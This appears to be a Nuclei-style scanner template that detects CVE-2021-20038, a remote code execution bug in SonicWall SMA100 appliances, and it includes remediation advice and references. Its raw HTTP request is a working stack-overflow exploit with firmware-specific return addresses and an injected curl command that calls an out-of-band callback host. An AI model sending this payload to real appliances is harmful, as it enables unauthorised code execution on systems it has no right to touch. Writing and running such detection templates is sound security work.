56 lines
2.3 KiB
YAML
56 lines
2.3 KiB
YAML
id: CVE-2021-20038
|
|
|
|
info:
|
|
name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
|
|
author: dwisiswant0, jbaines-r7
|
|
severity: critical
|
|
description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
|
|
remediation: |
|
|
Apply the latest security patch or update provided by SonicWall to mitigate this vulnerability.
|
|
reference:
|
|
- https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
|
|
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20038
|
|
- https://github.com/jbaines-r7/badblood
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-20038
|
|
cwe-id: CWE-787,CWE-121
|
|
epss-score: 0.95763
|
|
epss-percentile: 0.99266
|
|
cpe: cpe:2.3:o:sonicwall:sma_200_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: sonicwall
|
|
product: sma_200_firmware
|
|
tags: cve,cve2021,overflow,rce,sonicwall,kev
|
|
variables:
|
|
useragent: '{{rand_base(6)}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat("A", 518)}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
payloads:
|
|
prefix_addr:
|
|
- "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address
|
|
system_addr:
|
|
- "%08%b7%06%08" # for 10.2.1.2-24sv
|
|
- "%64%b8%06%08" # for 10.2.1.1-1[79]sv
|
|
attack: clusterbomb
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: {{useragent}}"
|
|
# digest: 4a0a00473045022037ac60826c7f575daeeca358619270a53e2eeeca83856fa3465788157217cb49022100be3db4eb3a0df1091c65c972a61e5b019326880136a80e1b332b4fc25dcd03b1:922c64590222798bb761d5b6d8e72950 |